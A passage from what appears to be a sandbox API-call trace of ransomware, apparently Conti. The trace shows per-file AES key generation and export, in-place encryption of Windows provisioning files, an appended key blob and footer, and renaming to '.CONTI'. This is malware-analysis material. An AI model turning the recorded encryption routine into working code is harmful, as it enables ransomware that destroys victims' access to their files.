	[0111.710] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.710] WriteFile (in: hFile=0x3ec, lpBuffer=0x17ffe74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17ffe74*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.717] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.717] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2c9, lpOverlapped=0x0) returned 1
	[0111.717] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c9, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0111.717] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.717] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.717] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.717] WriteFile (in: hFile=0x3ec, lpBuffer=0x17ffe68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17ffe68*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.717] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.717] CloseHandle (hObject=0x3ec) returned 1
	[0111.717] GetProcessHeap () returned 0x1720000
	[0111.717] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.717] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml"
	[0111.717] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.717] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\421__Connections_Cellular_TDC Sweden (Sweden)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\421__connections_cellular_tdc sweden (sweden)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.718] GetProcessHeap () returned 0x1720000
	[0111.718] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.718] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0111.718] GetProcessHeap () returned 0x1720000
	[0111.718] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573660 | out: hHeap=0x1720000) returned 1
	[0111.718] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.718] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x18019d0 | out: phKey=0x18019d0*=0x6b7f038) returned 1
	[0111.718] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x18019d4, pdwDataLen=0x54bfc14 | out: pbData=0x18019d4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.719] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.719] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.719] GetLastError () returned 0x0
	[0111.719] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=647) returned 1
	[0111.719] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x287
	[0111.720] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.720] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.720] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.720] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.720] WriteFile (in: hFile=0x3ec, lpBuffer=0x18019d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x18019d4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.726] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.726] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x287, lpOverlapped=0x0) returned 1
	[0111.726] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x287, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x290) returned 1
	[0111.726] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.726] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x290, lpOverlapped=0x0) returned 1
	[0111.726] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.726] WriteFile (in: hFile=0x3ec, lpBuffer=0x18019c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x18019c8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.726] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.726] CloseHandle (hObject=0x3ec) returned 1
	[0111.727] GetProcessHeap () returned 0x1720000
	[0111.727] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.727] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml"
	[0111.727] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.727] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.727] GetProcessHeap () returned 0x1720000
	[0111.727] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.727] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.727] GetProcessHeap () returned 0x1720000
	[0111.727] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18082d8 | out: hHeap=0x1720000) returned 1
	[0111.727] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.728] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x1801e60 | out: phKey=0x1801e60*=0x6b7f178) returned 1
	[0111.728] CryptExportKey (in: hKey=0x6b7f178, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x1801e64, pdwDataLen=0x54bfc14 | out: pbData=0x1801e64*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.728] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.729] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.729] GetLastError () returned 0x0
	[0111.729] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=713) returned 1
	[0111.729] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0111.729] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.729] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.729] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.729] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.729] WriteFile (in: hFile=0x3ec, lpBuffer=0x1801e64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x1801e64*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.735] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.735] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2c9, lpOverlapped=0x0) returned 1
	[0111.736] CryptEncrypt (in: hKey=0x6b7f178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c9, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0111.736] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.736] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.736] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.736] WriteFile (in: hFile=0x3ec, lpBuffer=0x1801e58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x1801e58*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.736] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.736] CloseHandle (hObject=0x3ec) returned 1
	[0111.736] GetProcessHeap () returned 0x1720000
	[0111.736] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.736] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml"
	[0111.736] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.736] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.737] GetProcessHeap () returned 0x1720000
	[0111.737] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.737] CryptDestroyKey (hKey=0x6b7f178) returned 1
	[0111.737] GetProcessHeap () returned 0x1720000
	[0111.737] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d428 | out: hHeap=0x1720000) returned 1
	[0111.737] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.737] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x18020a8 | out: phKey=0x18020a8*=0x6b7f638) returned 1
	[0111.737] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x18020ac, pdwDataLen=0x54bfc14 | out: pbData=0x18020ac*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.738] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.738] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.738] GetLastError () returned 0x0
	[0111.738] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=719) returned 1
	[0111.738] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0111.739] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.739] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.739] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.739] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.739] WriteFile (in: hFile=0x3ec, lpBuffer=0x18020ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x18020ac*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.746] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.746] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2cf, lpOverlapped=0x0) returned 1
	[0111.746] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2cf, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0) returned 1
	[0111.746] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.746] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.746] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.746] WriteFile (in: hFile=0x3ec, lpBuffer=0x18020a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x18020a0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.746] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.746] CloseHandle (hObject=0x3ec) returned 1
	[0111.746] GetProcessHeap () returned 0x1720000
	[0111.746] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.746] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0111.746] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.746] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom 